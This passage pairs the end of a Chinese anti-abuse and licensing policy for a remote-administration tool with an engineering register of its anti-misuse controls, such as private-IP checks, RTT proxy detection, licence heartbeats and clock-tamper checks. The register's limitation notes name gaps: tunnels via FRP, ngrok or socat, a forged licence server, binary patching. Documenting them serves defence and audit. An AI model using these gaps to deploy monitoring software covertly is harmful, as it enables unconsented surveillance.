上述全部机制均设计为**故意可被终端用户感知**的"告警 / 终止"路径,
而非静默运行。这一设计意图是:让被滥用部署的实例**自我暴露**
便于被管设备相关方、IT 管理员或合规人员及时发现异常并采取行动。
### 6.6 措施的"合理性"声明
发行方声明:上述机制构成在本软件功能范围内**经合理设计、足以使
善意使用方避免越权部署**的技术措施。发行方承认该等措施不能阻止
具备充分技术能力且持有恶意的攻击者通过深度修改源代码、二进制
patch 或独立重新实现等方式予以规避,但该等深度规避行为本身即超
出"使用本软件"的范畴,构成对发行方知识产权与本政策第 5.3 条
不规避承诺的独立违反,相应法律后果由实施方独立承担。
---
## 7. 授权分级与对应限制
| 授权档 | 适用场景 | 强制限制 | 取得方式 |
|--------|---------|---------|---------|
| 无口令 | 个人单机自用 | 监听端口 ≤ 2 | 直接下载使用 |
| 试用口令 | 内部 LAN 设备管理(严禁跨网) | 监听端口 ≤ 20<br>入站连接源 IP 必须为私网段<br>心跳 RTT 中位数 ≤ 25 ms<br>周期性回连授权服务器 | 向发行方申请,提供身份与用途 |
| 正式授权 | 跨网远程业务 | 由签发协议另行约定 | 人工审核签发,须提供正当用途说明 |
正式授权档的取得程序由发行方另行公布,至少包含:
- 申请人身份核验(自然人为身份证件、法人为营业执照或同等文件);
- 用途说明书(部署形态、目标设备规模、数据流向);
- 合规承诺函(书面承诺接受本政策约束);
- 必要时要求出具被管设备相关方同意取得方案。
---
## 8. 发行方责任范围与免责声明
### 8.1 发行方责任的有限性
发行方在本软件项目中的责任范围**仅限于**下列两项:
1. 提供具备本政策第 6 节所述反滥用机制的软件实现;
2. 在签发"正式授权"时进行合理的身份核验与用途说明审查。
发行方**不承担**下列任何责任:
- 不审查使用方的实际部署形态、被管设备的实际归属、被管设备相关方
实际是否同意;
- 不参与使用方的运营、不为使用方采集的任何数据的内容、来源、去向、
保管、删除负责;
- 不对使用方的合规义务履行情况作任何形式的担保、背书或推荐;
- 不对本软件在任何特定司法辖区、特定使用场景下的合法性出具意见。
### 8.2 关于"许可签发"的特别声明
发行方明确声明:**签发任何档次的授权,均不构成对被授权方任何具体
使用方式的背书、推荐、担保、协助或共谋。** 授权签发仅意味着发行方
基于被授权方提交的材料,**初步认为**该方陈述的用途在表面上不属于
本政策第 4 节所列禁止情形;该初步认定不替代被授权方自身的合法性
评估义务,亦不在被授权方实际使用偏离申请陈述时构成发行方的事先
同意。
### 8.3 越权使用后果的归属
被授权方违反本政策从事任何越权或违法使用所造成的全部法律后果(含
但不限于民事赔偿、行政处罚、刑事责任、第三方损害赔偿、声誉损害),
**由被授权方独立承担,与发行方无关**
被授权方在此明确同意:发行方在受到任何与该等越权使用有关的索赔、
通知、调查或诉讼时,被授权方应作为独立责任主体出面应对,并按本
政策第 5.5 条的约定向发行方提供完整的损害赔偿。
### 8.4 软件按"现状"提供的声明
本软件按"现状"AS IS和"现有功能"AS AVAILABLE提供。除属地
强制性法律另有明确规定且不可被合同排除者外,发行方**不就本软件
作出任何形式的明示或默示担保**,包括但不限于:
- 适销性担保;
- 特定用途适用性担保;
- 不侵权担保;
- 软件运行不中断或无错误的担保;
- 反滥用机制能挡住所有形式的攻击或绕过的担保;
- 在任何特定司法辖区下合法可用的担保。
### 8.5 责任上限
在属地强制性法律允许的最大范围内,发行方对使用方的全部责任合计
不得超过下列两者中的较低者:
- 使用方为该次授权实际向发行方支付的费用(如有);
- 等值于 100 欧元 / 等值于 800 元人民币 / 等值于 100 美元的金额,
以发行方所在司法辖区货币为准。
发行方在任何情况下均不对下列损失承担责任(即便已被告知该等损失
之可能性):
- 间接损失、特殊损失、惩罚性损失、附带损失;
- 利润损失、营业中断损失、商誉损失;
- 数据丢失或数据损坏;
- 第三方索赔。
---
## 9. 违规处置
### 9.1 单方处置权
发行方在合理依据下怀疑使用方存在违反本政策的行为时,有权在不另行
通知的情况下采取下列任一或全部措施:
1. 立即吊销该使用方的现有授权;
2. 在授权服务器侧将该使用方的标识 / 设备指纹列入黑名单;
3. 向有管辖权的执法、监管或司法机关主动报告并提交相关证据;
4. 在公开仓库的发行说明、公告或官网中公示违规事实(在符合属地
隐私与名誉权法律的前提下)。
### 9.2 配合执法
发行方在收到任何有管辖权的执法机关、监管机关或司法机关合法发出
的协查函、调取通知、调查令时,将依法配合,包括但不限于:
- 提交授权签发记录;
- 提交授权服务器侧的心跳、IP 等技术日志(在发行方实际持有的范围内);
- 在依法保密义务允许的范围内,向相关执法机关说明本软件的设计意图
与反滥用机制。
被授权方对授权协议的接受,即视为对发行方上述配合执法行为的明示
同意,不构成对其商业秘密、个人信息或合同义务的违反。
---
## 10. 数据保护与隐私
### 10.1 发行方不接触使用方采集的数据
发行方设计本软件时遵循"控制平面(授权 / 心跳)与数据平面(远程
桌面 / 文件传输 / 屏幕采集)严格分离"原则。**发行方运营的授权
服务器不接收、不存储、不转发使用方通过本软件采集或传输的任何
被管设备数据。** 该等数据仅在使用方自身的部署架构中流转,由使用
方独立承担"数据控制者"或"数据处理者"在属地法律下的全部义务。
### 10.2 使用方作为独立数据控制者
使用方在使用本软件采集、存储、传输、处理被管设备相关方的任何
个人信息时,**单独构成属地数据保护法下的数据控制者**GDPR
意义上的 Controller或《个人信息保护法》意义上的"个人信息处理
者"),独立承担下列义务:
- 合法性基础的取得与记录;
- 告知与透明度义务;
- 数据主体权利响应(访问、更正、删除、可携带、反对自动决策等);
- 数据安全保障与泄露通知;
- 跨境传输的合规路径选择;
- 留存与删除政策;
- 必要时的数据保护影响评估DPIA
### 10.3 不就属地合规义务作具体指引
发行方因不掌握使用方的具体部署形态、被管设备类型、被管数据敏感
程度,故无法、亦不就使用方在任何具体司法辖区下的合规义务履行
作出具体指引。使用方应自行委托专业律师 / 数据保护官DPO评估
并完成属地合规。
---
## 11. 出口管制与制裁合规
### 11.1 双用途物项的属性提示
本软件具备远程访问、屏幕采集、键盘记录、文件传输等技术功能,
在部分司法辖区可能构成"双用途物项"dual-use item受出口
管制法律约束(如 Wassenaar Arrangement 框架下"intrusion software"
管制类目、欧盟 Regulation (EU) 2021/821、中国《两用物项出口管制
条例》等)。
### 11.2 使用方的自查义务
使用方在跨境传输、部署或使用本软件前,应自行评估其行为是否触发
属地的出口管制、制裁清单(含联合国制裁、美国 OFAC 制裁、欧盟
限制性措施清单、中国不可靠实体清单等)申报或许可义务,并独立
承担合规责任。发行方不就该等评估提供任何意见或保证。
### 11.3 制裁实体禁用
使用方不得将本软件出口、再出口、转让、提供给任何属地法律所列的
制裁对象(自然人 / 法人 / 国家 / 地区),亦不得用于该等制裁对象
所控制或所在的设施。
---
## 12. 知识产权与开源声明
### 12.1 著作权归属
本软件的源代码与文档之著作权归发行方所有,并按仓库根目录
`LICENSE` 文件所标识的开源许可证(如 MIT 许可证)对外许可。
该开源许可证授予的权利与本政策对滥用行为的禁止**并行不悖**
开源许可证授予的修改、再分发、商用等权利,不构成对违法 / 越权
使用之豁免。
### 12.2 衍生版本的合规义务传递
任何对本软件源代码进行修改后再行分发的人员("再分发者"),有
义务在其分发物中**完整保留**
- 本政策的全文(或对其的不可断链 URL 引用);
- 第 6 节所列反滥用技术措施的完整源代码与运行行为;
- 仓库根目录 `LICENSE` 文件。
任何在再分发物中**移除、削弱或禁用**前述任一项的行为,构成对发行方
著作权与本政策的双重违反,发行方保留追究责任的全部权利。
---
## 13. 适用法律与争议解决
### 13.1 适用法律
本政策的解释、效力及与本政策有关的争议,**适用发行方在仓库联系
方式中所披露之住所地的法律**。前述住所地以仓库元数据README.md、
作者声明等)所披露者为准;如发行方未明确披露住所地,则以发行方
最新一次公开发布行为发生时其 IP 地址或运营主体注册地所在司法辖区
为准。
### 13.2 争议解决方式
因本政策引起或与本政策有关的任何争议,双方应首先协商解决;协商
不成的,**任一方均有权将争议提交至发行方住所地有管辖权的法院诉讼
解决**。使用方在此明示放弃对前述法院管辖权的任何异议(含不方便
法院抗辩 forum non conveniens
### 13.3 集体诉讼放弃
在属地强制性法律允许的范围内,使用方明确放弃以集体诉讼、集团诉讼
class action或代表人诉讼形式针对发行方主张权利的资格。使用方
对发行方的主张应仅以个人名义提出。
---
## 14. 文档优先级与变更
### 14.1 文档优先级
本政策与本软件附带 / 关联的其他材料发生冲突时,按下列顺序确定
优先级(顺序在前者优先):
1. 发行方为正式授权另行签订的书面授权协议;
2. **本政策**
3. 仓库根目录 `LICENSE` 文件中与责任划分有关的条款;
4. `README.md` 及其他说明性文档。
但本政策第 1.3 条之"对发行方更有利、对使用方义务更严格"的冲突
解决规则,作为**最高优先级**适用。
### 14.2 文档变更
发行方有权随时更新本政策。更新后的版本自其在仓库公开发布之时起
对所有自该时点之后获取本软件的人员生效;对在更新前已获取本软件
但在更新后继续使用的人员,自其首次升级 / 重新拉取仓库代码或心跳
回连授权服务器之时起生效。
使用方有义务在每次升级或重新部署本软件前,检查仓库中本政策的
最新版本。继续使用即视为接受更新后的版本。
---
## 15. 文档可分割性
本政策任何一条因任何原因被有管辖权的法院或仲裁机构认定为无效、
不可执行或违反公共秩序的,**不影响本政策其他条款的效力**。被
认定无效的条款应在最大可能保留发行方原意的前提下,被替换为
最接近原意且属合法的条款。
---
## 16. 联系方式
如就本政策内容、授权申请、违规举报或合规疑问需要与发行方沟通,
请通过仓库 `README.md` 中所披露的联系渠道联系发行方。发行方
对所有联系信息按其惯例处理,**对联系行为本身不构成任何形式的
咨询关系或法律意见关系**。
---
## 附录 A使用方合规自检清单建议
使用方在每次新部署本软件前,建议自行核对下列事项。本清单仅供
参考,不替代专业法律意见:
- [ ] 我对所有被管设备享有合法的所有权或管理权
- [ ] 我已就本软件的安装、运行及数据采集取得每一名被管设备使用人的事先书面同意
- [ ] 我已书面记录并保存上述同意,并制定了 ≥ 3 年的保管期限
- [ ] 我的使用目的限定在本政策第 3.1 条所列许可场景之内
- [ ] 我不在工作场所对员工实施超出当地劳动法允许范围的监控
- [ ] 我不对未成年人实施未取得监护人完整同意的监控
- [ ] 我不在政府机关 / 关键信息基础设施部署本软件,或已取得相应许可
- [ ] 我已评估属地《数据保护法》/ GDPR / 个人信息保护法下的数据控制者义务,并已设计相应制度
- [ ] 如涉跨境数据传输,我已完成属地法律所要求的合规路径
- [ ] 我未对本软件源代码作任何削弱反滥用机制的修改
- [ ] 我已为本次部署留存完整的操作日志、配置记录与授权链证据
- [ ] 我理解并同意发行方在合理怀疑时的单方吊销权与配合执法权
---
## 附录 B发行方反滥用立场要点用于对外引用
如有第三方(含但不限于潜在客户、合规审查方、媒体、监管机关)就
发行方对滥用行为的立场提出询问,可援引下列要点:
1. **明确反对滥用**:发行方在 README、本政策、源代码注释中均明确
反对将本软件用于任何未授权访问、隐蔽监控、商业秘密窃取等违法
违规用途。
2. **内置技术措施**:发行方在源代码层面内置了至少四项独立的反滥用
技术机制IP 段校验、端口数限制、RTT 反代理、授权心跳),使
善意使用方难以无意中越权部署。
3. **分级授权**:发行方按"无口令 / 试用 / 正式"三档管理能力开放,
高风险的跨网能力仅向通过人工审核的正式授权方开放。
4. **不接触数据**:发行方运营的授权服务器仅承担授权与心跳,不接触、
不存储使用方通过本软件采集的任何被管设备数据。
5. **配合执法**:发行方在收到合法协查请求时依法配合,提交其实际
持有的授权与心跳记录。
6. **保留处置权**:发行方对存在违规迹象的授权方保留即时吊销权与
黑名单处置权,相应授权协议条款已对此作出明示约定。
---
**文档结束 / END OF DOCUMENT**

View File

@@ -0,0 +1,244 @@
# 反滥用技术措施清单(技术证据链)
> **文档版本**1.0
> **维护范围**:本仓库 `common/` `client/` `server/` 三个目录中所有与"反滥用 / 合规执法"
> 相关的代码模块。
> **文档定位**:本文档是 [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md) 第 6 节
> "发行方内置的反滥用技术措施"的**工程实现附表**。政策口径以 `Compliance_AntiAbuse.md` 为准;
> 本文档仅就"具体代码在哪、为什么这样设计、目前的已知局限"做工程化登记。
> **受众**:本仓库的维护者、合规审查方、独立验证人员。
---
## 关于本文档
本仓库自起步即声明"试用版仅供 LAN 内自用,不得跨网",并明确反对任何未授权访问、
隐蔽监控、商业秘密窃取等违法用途(见 [`README_EN.md`](../README_EN.md) /
[`ReadMe.md`](../ReadMe.md) / [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md))。
此声明若仅停留在文字层面,其证明力有限。为此发行方在源代码层面陆续构筑多道
**可被独立验证**的技术屏障,并将其引入证据链以备:
1. 监管核查时举证"已尽合理技术措施";
2. 第三方合规审计时提供可直接 review 的代码位置;
3. 后续维护者修改这些文件时识别"哪些行为不能被弱化"。
本文档的每一项措施都给出:
- **源代码位置**(精确到文件 + 函数 / 类,不带行号 —— 行号随代码漂移);
- **机制摘要**(一段话讲清楚做什么);
- **设计动机**(为什么需要这一层、防的是哪类滥用形态);
- **已知局限**(不夸大宣传,明示哪些场景挡不住)。
---
## 1. 当前生效的技术措施
### 1.1 入站连接源 IP 段校验
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class LANChecker::CheckAndWarn()` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager::OnHeatbeatResponse` 的 trial 分支 |
| 阈值 | 任一入站连接对端 IP 落在公网段(非 RFC 1918 / RFC 3927 / 回环段)即触发 |
| 触发动作 | 终端用户可见 `MessageBox` 告警(一次性 latch |
| 设计动机 | 封堵"试用版被直接挂到公网"这一最常见、技术门槛最低的越权部署 |
| 已知局限 | 攻击者在 LAN 内放置反向代理 / 隧道时,对端 IP 仍呈私网段 → 漏检 → 由 [1.3 RTT 反代理](#13-应用层-rtt-反代理) 兜底 |
### 1.2 监听端口数量上限
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `LANChecker::CheckPortLimit(int maxPorts)` |
| 触发位置 | 同 1.1trial 分支调用 `CheckPortLimit(2)` |
| 阈值 | 试用:≤ 2 个监听端口;无口令:≤ 2 个 |
| 触发动作 | 终端用户可见告警 |
| 设计动机 | 防止单台试用部署被改造为多租户中转节点 / 公网代理出口 |
| 已知局限 | 仅扫描本进程 PID 的监听端口;攻击者另起辅助进程在同机做端口转发可绕过,但攻击成本已上升,且会被其他机制(如 1.3)侧面捕获 |
### 1.3 应用层 RTT 反代理
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class LANRttChecker` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `CKernelManager::OnHeatbeatResponse`(自 commit `4279e79` 起从 `AuthKernelManager` 迁至此处,使采样源从"客户端到授权服务器"变为"客户端到主控服务器",更精确反映滥用链路) |
| 启停 | 由主控通过 `MasterSettings.IsTrail` 字段下发;试用主控 → 开,已授权主控 → 关 |
| 阈值参数 | 25 ms 中位数 / 滑窗 10 / 收敛跳过 5 / 持续超阈 3 次(最快触发 ≥ 150 秒) |
| 触发动作 | 终端用户可见告警(一次性 latch进程生命周期内不再重弹 |
| 设计动机 | 1.1 的物理盲区补丁:光速决定的真实 RTT 不可被代理转发降低,能识别"源 IP 看似私网、实际经公网中转"的反向隧道部署 |
| 已知局限 | 攻击者自有公网 IP 且与"客户"同城同 ISP 时,物理 RTT 可低于阈值 → 漏检。该残留盲区已在 [`common/LANChecker.h`](../common/LANChecker.h) `class LANRttChecker` 的头部注释中明示,并标注"需叠加同源 IP 多 ClientID 行为信号做双因素判定" |
### 1.4 授权服务器周期心跳与超时熔断
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class AuthTimeoutChecker` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager` 心跳循环;`ResetTimer()` 在每次 ACK 到达时被调 |
| 阈值 | DEBUG 30s 警告RELEASE 300s 警告;后续超时阈值由 `AuthTimeoutChecker::Check` 控制 |
| 触发动作 | 警告期:可见 `MessageBox`;终态:进程退出 |
| 设计动机 | 防止"仅在初次激活时联网、之后离线长期使用"以规避吊销;同时为发行方在授权服务器侧吊销违规授权提供下发通道 |
| 已知局限 | 攻击者搭建假冒授权服务器并做 DNS / hosts 劫持可绕过;但属本政策 [`Compliance_AntiAbuse.md` § 5.3](Compliance_AntiAbuse.md) 明示禁止之"伪造授权服务器响应"行为,已转入法律风险 |
### 1.5 服务端硬性并发连接上限
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg` 构造、`OnInitDialog``OnPasswordCheck` 三处 |
| 机制 | `m_nMaxConnection = 2` 是初始默认;`IsPwdHashValid()``CheckValid(-1)` 失败时强制重置为 2 并 `UpdateMaxConnection(2)` |
| 设计动机 | 未授权主控的"硬天花板"。客户端校验代码可能被重打包绕过,但 TCP / UDP 服务器在并发数超限时直接拒绝新连接,是难以从客户端侧绕开的服务端策略 |
| 已知局限 | 未授权主控的运营者若直接修改服务端二进制以解除上限,已构成对政策 [`Compliance_AntiAbuse.md` § 5.3](Compliance_AntiAbuse.md) 的根本违反 |
### 1.6 系统时钟篡改检测
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/DateVerify.h`](../common/DateVerify.h) `class DateVerify` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager::OnHeatbeatResponse` 中授权分支 |
| 机制 | 客户端通过多个公共 NTP 源(阿里云 / 腾讯 / 清华 TUNA / 港澳台 / 全球池等共 11 个,按地理优先级)核对系统时间;时间被回拨用以延长试用 → `TerminateProcess(0xDEAD0001)` |
| 设计动机 | 防止用户修改系统时间利用早期试用授权码或绕过时间相关的授权约束 |
| 已知局限 | 出网完全被阻断时无法核对 NTP该情形下与 1.4 共同作用——长时间无 NTP / 无授权心跳同时存在时进程会被自然终止 |
### 1.7 子连接身份校验
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/Server.h`](../server/2015Remote/Server.h) `CONTEXT_OBJECT::m_bAuthenticated`;触发于 `TOKEN_CONN_AUTH` 处理路径 |
| 机制 | 主连接走 `TOKEN_LOGIN`;屏幕 / 文件 / 键盘等子连接走 `TOKEN_CONN_AUTH`,连入后必须在握手阶段提交可校验凭证;当前阶段为"宽容验证"模式,仅打标记,为后续收紧策略保留入口 |
| 设计动机 | 防止攻击者绕过主连接直接连入子连接通道复用既有 ClientID 的会话 |
| 已知局限 | 当前为宽容模式(未通过仍接受),仅作为标记。收紧时机待定,将在新增 commit 中说明 |
### 1.8 主控授权状态下发
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/commands.h`](../common/commands.h) `struct MasterSettings``Authorized` / `IsTrail` 字段;服务端 [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnInitDialog` 中填充 |
| 机制 | 服务端在客户端注册后将自己的"授权 / 试用"状态写入 `MasterSettings` 下发;客户端在 [`client/KernelManager.cpp`](../client/KernelManager.cpp) `CMD_MASTERSETTING` 分支接收,据此决定是否启用 [1.3 RTT 反代理](#13-应用层-rtt-反代理) |
| 设计动机 | 让试用 / 已授权两种主控的客户端行为差异化:试用主控的所有连入客户端自动启用反代理检测;正式授权主控的客户端则关闭,避免误伤合法的跨网远控场景 |
| 兼容性 | 字段位于 `MasterSettings.Reserved` 的前 2 字节,保持 `sizeof(MasterSettings) == 500` 不变;旧客户端连新服务端时按 `MasterSettingsOldSize` 截读,不影响协议兼容 |
### 1.9 服务端入站 IP 段即时检测
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) `OnAccept` 末段;[`common/LANChecker.h`](../common/LANChecker.h) `LANChecker::IsPrivateIPv4Str` |
| 触发位置 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnTrialWanIpAbuse`(由 `OnAccept` `PostMessage(WM_TRIAL_WAN_IP_ABUSE)` 触发) |
| 检测时机 | 每个新连接 `accept` 后立即检测,**比 RTT 路径快**(无需累计 30 秒的中位数样本) |
| 信号源 | Proxy Protocol v2 透出的真实客户端 IP若存在→ 否则回退到 `getpeername` 的 raw TCP 对端 IP |
| 阈值 | 任一入站 IP 不在 RFC 1918 / RFC 3927 / 回环段 → 即触发 |
| 触发动作 | 每个 abusive 连接独立记 `Mprintf` 日志(含真实 IP + 解析来源);与 [1.10 服务端内核级 RTT 监测](#110-服务端内核级-rtt-监测sio_tcp_info) 共用 `IOCPServer::s_TrialAbuseWarned` 进程级 latch → 主窗口 `MessageBox` 弹一次 |
| 启停 | 仅在 `m_bTrialMode` 为真时执行(`StartServer``IsTrail(passcode)` 缓存);正式授权主控该分支彻底跳过 |
| 设计动机 | 补 [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 的 TCP 终结代理盲点 —— 合作型代理FRP / HAProxy若发送 PP2 头,本检测就能拿到真实 IP 并直接命中。即时触发,无需等待 RTT 累积 |
| 与客户端 [1.1](#11-入站连接源-ip-段校验) 的关系 | 两层不重复:[1.1] 在 master 进程内**周期性**扫 `GetExtendedTcpTable`,看到的是内核态 raw IP不透 PP2本节在 `OnAccept` **即时**触发,能透 PP2 真实 IP。两层互补 |
| 已知局限 | 不发 PP2 头的代理socat、自制 TCP 转发、不配 PP2 的 FRP→ 看到的仍是代理的 LAN IP**本节漏检**,由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 端到端 RTT 兜底 |
| 性能 | 每新连接增加一次 `inet_pton` + 几个位运算(< 1µs。非试用模式下 `m_bTrialMode == false`,整段分支彻底跳过 |
### 1.10 服务端内核级 RTT 监测(`SIO_TCP_INFO`
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) `RttPollThreadProc` + `QuerySocketTcpRttUs`[`server/2015Remote/Server.h`](../server/2015Remote/Server.h) `CONTEXT_OBJECT::SetRttUs/GetRttUs`[`common/LANChecker.h`](../common/LANChecker.h) `class TcpRttBreachDetector` |
| 触发位置 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnTrialRttAbuse`(由 RTT 轮询线程 `PostMessage(WM_TRIAL_RTT_ABUSE)` 触发) |
| 信号源 | Win10 1703+ / Server 2016+ 提供的 `WSAIoctl(SIO_TCP_INFO)`,返回 `TCP_INFO_v0.RttUs`(内核测得的纯网络 RTT微秒精度不含任何应用层处理 |
| 阈值参数 | 20 ms 中位数 / 滑窗 10 / 收敛跳过 5 / 持续超阈 3 次 @1Hz(最快触发 ≥ 30 秒,是 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 的 5 倍) |
| 触发动作 | 每个 abusive 连接独立记 `Mprintf` 日志(含 ClientID + 真实 IP + median RTT全 server 进程一次性 latch`s_TrialRttWarned` CAS→ 主窗口 `MessageBox` 弹一次 |
| 启停 | 仅在主控自身为试用模式时(`StartServer``IsTrail(passcode)`)启动专用轮询线程;正式授权主控不启动,零运行时开销 |
| OS 不支持 | 首次 `WSAIoctl` 拿到 `WSAEOPNOTSUPP` 时打一行 `Mprintf` 日志后线程自杀;[1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 仍作为兜底 |
| 设计动机 | 服务端检测周期 30 svs 客户端 150 s更快识别直接挂公网的 abusive 部署;且代码运行于发行方 / 运营商可控的服务端二进制,比客户端校验更难绕过 |
| **已知局限(重要)** | `SIO_TCP_INFO` 测得的是**服务端 ↔ 直接 TCP 对端**的 RTT。任何在 TCP 层终结的代理FRP / ngrok / nginx / HAProxy / socat 等)会让服务端只看到"我 ↔ 代理"那段 LAN RTT**完全漏检 WAN 段**。本机制只能识别直挂公网 / NAT / VPN 等"不终结 TCP"的部署形态TCP 终结型代理由 [1.3](#13-应用层-rtt-反代理) 的端到端应用层 RTT 兜底(客户端心跳总耗时无法被任何中间层降低) |
| 范围 | 仅 `IOCPServer`TCPUDP / KCP 通道由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 继续兜底 |
---
## 2. 分档授权与对应限制
详见 [`Compliance_AntiAbuse.md` § 7](Compliance_AntiAbuse.md) 与 [`MultiLayerLicense.md`](MultiLayerLicense.md)。本表仅列对应的强制限制点:
| 授权档 | 强制限制 | 由哪一节技术措施实施 |
| --- | --- | --- |
| 无口令 | 监听端口 ≤ 2服务端并发 ≤ 2 | [1.2](#12-监听端口数量上限) + [1.5](#15-服务端硬性并发连接上限) |
| 试用口令 | 入站 IP 必须私网段;端口 ≤ 20客户端 RTT ≤ 25 ms服务端内核 RTT ≤ 20 ms周期回连授权服务器系统时钟可信 | [1.1](#11-入站连接源-ip-段校验) + [1.2](#12-监听端口数量上限) + [1.3](#13-应用层-rtt-反代理) + [1.4](#14-授权服务器周期心跳与超时熔断) + [1.6](#16-系统时钟篡改检测) + [1.9](#19-服务端入站-ip-段即时检测) + [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) |
| 正式授权 | 由签发协议另行约定,技术上解除 1.1 / 1.3 / 1.9 / 1.10 限制 | [1.8](#18-主控授权状态下发) 由服务端下发 `IsTrail=0` 触发客户端关闭;服务端 `IsTrail` 为假时 [1.9](#19-服务端入站-ip-段即时检测) / [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 均跳过 |
---
## 3. 演进时间线(合规相关提交)
按发布时间倒序排列。`SHA` 列为 `git log --oneline` 可直接核对的短哈希;任何
独立第三方均可在公开仓库通过 `git show <SHA>` 自行验证。
| 日期 | SHA | 主题 | 关联节 |
| --- | --- | --- | --- |
| 2026-05-16 | `7f95f00` | Compliance: Server-side anti-proxy — accept-time WAN-IP check + SIO_TCP_INFO kernel-RTT | [1.9](#19-服务端入站-ip-段即时检测) + [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) |
| 2026-05-15 | `4279e79` | Compliance fix: Move LAN RTT check to KernelManager heartbeat | [1.3](#13-应用层-rtt-反代理) / [1.8](#18-主控授权状态下发) |
| 2026-05-14 | `14387d6` | Compliance: Anti-proxy RTT check + tiered usage policy and disclaimer | [1.3](#13-应用层-rtt-反代理) / [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md) v1.0 发布 |
| —(既往) | — | `LANChecker` IP 段 / 端口数检测、`AuthTimeoutChecker` 授权心跳、`DateVerify` 时钟校验等机制 | [1.1](#11-入站连接源-ip-段校验) / [1.2](#12-监听端口数量上限) / [1.4](#14-授权服务器周期心跳与超时熔断) / [1.6](#16-系统时钟篡改检测) |
> 后续提交按 commit message 前缀 `Compliance:` 或 `Compliance fix:` 识别,加入本表。
---
## 4. 规划中的技术措施
> 以下条目为已确定方向但尚未合入主分支的工作项,列出便于审查方了解未来演进。
### 4.1 行为信号融合(占位)
`LANRttChecker` 源码注释中明示的"同源 IP 多 ClientID"行为信号待并入。
计划在授权服务器侧实现,与本仓库客户端 / 主控代码解耦。
针对 [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 的 TCP 终结代理盲点 ——
合作型代理FRP / HAProxy发送 Proxy Protocol v2 头的情况已由 [1.9](#19-服务端入站-ip-段即时检测) 兜住;
不发 PP2 的代理socat、自制 TCP 转发)的残留盲区由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理)
端到端 RTT 兜底,本仓库内无进一步可加的服务端措施。后续考虑授权服务器侧"同源 IP 多 ClientID"
行为信号作为外部交叉验证。
---
## 5. 维护者注意事项
> **对未来修改本仓库的任何贡献者**:以下文件 / 模块的削弱、移除、绕过型修改
> 应被视为对发行方反滥用立场的直接违反PR 一律拒收。即使您是为了"优化体验"
> 或"修复误报",也请优先选择**调阈值 / 加白名单**而非**禁用机制**。
| 不可被静默削弱的内容 | 文件 |
| --- | --- |
| `LANChecker::CheckAndWarn` 中私网段判定逻辑 | [`common/LANChecker.h`](../common/LANChecker.h) |
| `LANChecker::CheckPortLimit` 的端口数比对 | 同上 |
| `LANRttChecker::SetEnabled` 的启停语义 | 同上 |
| `LANRttChecker::RecordSample` 的滑窗 / 收敛 / 持续超阈逻辑 | 同上 |
| `AuthTimeoutChecker` 的超时熔断分支 | 同上 |
| `DateVerify::isTimeTampered` 的多 NTP 比对 | [`common/DateVerify.h`](../common/DateVerify.h) |
| 服务端 `m_nMaxConnection` 在未授权 / 失效校验时回落到 2 的分支 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) |
| 服务端 `MasterSettings.Authorized` / `IsTrail` 字段的真实填充逻辑 | 同上 |
| 客户端 `OnHeatbeatResponse``LANRttChecker` 的调用、`AuthTimeoutChecker` 的复位 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) |
| `TcpRttBreachDetector` 滑窗 / 收敛 / 持续超阈逻辑 | [`common/LANChecker.h`](../common/LANChecker.h) |
| `IOCPServer::OnAccept` 末段试用模式下的入站 IP 段判定PP2 真实 IP 优先) | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) |
| `IOCPServer::RttPollThreadProc` 试用模式判定、SIO_TCP_INFO 探测、per-context 检测器喂样 | 同上 |
| 主对话框 `OnTrialRttAbuse` / `OnTrialWanIpAbuse` 弹框 + 日志归档;`WM_TRIAL_RTT_ABUSE` / `WM_TRIAL_WAN_IP_ABUSE` 消息映射 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) |
| `LANChecker::IsPrivateIPv4Str` 字符串版私网段判定(被 §1.9 直接依赖) | [`common/LANChecker.h`](../common/LANChecker.h) |
允许的修改方向:
- 调整阈值参数(需在 PR 中给出新的统计依据);
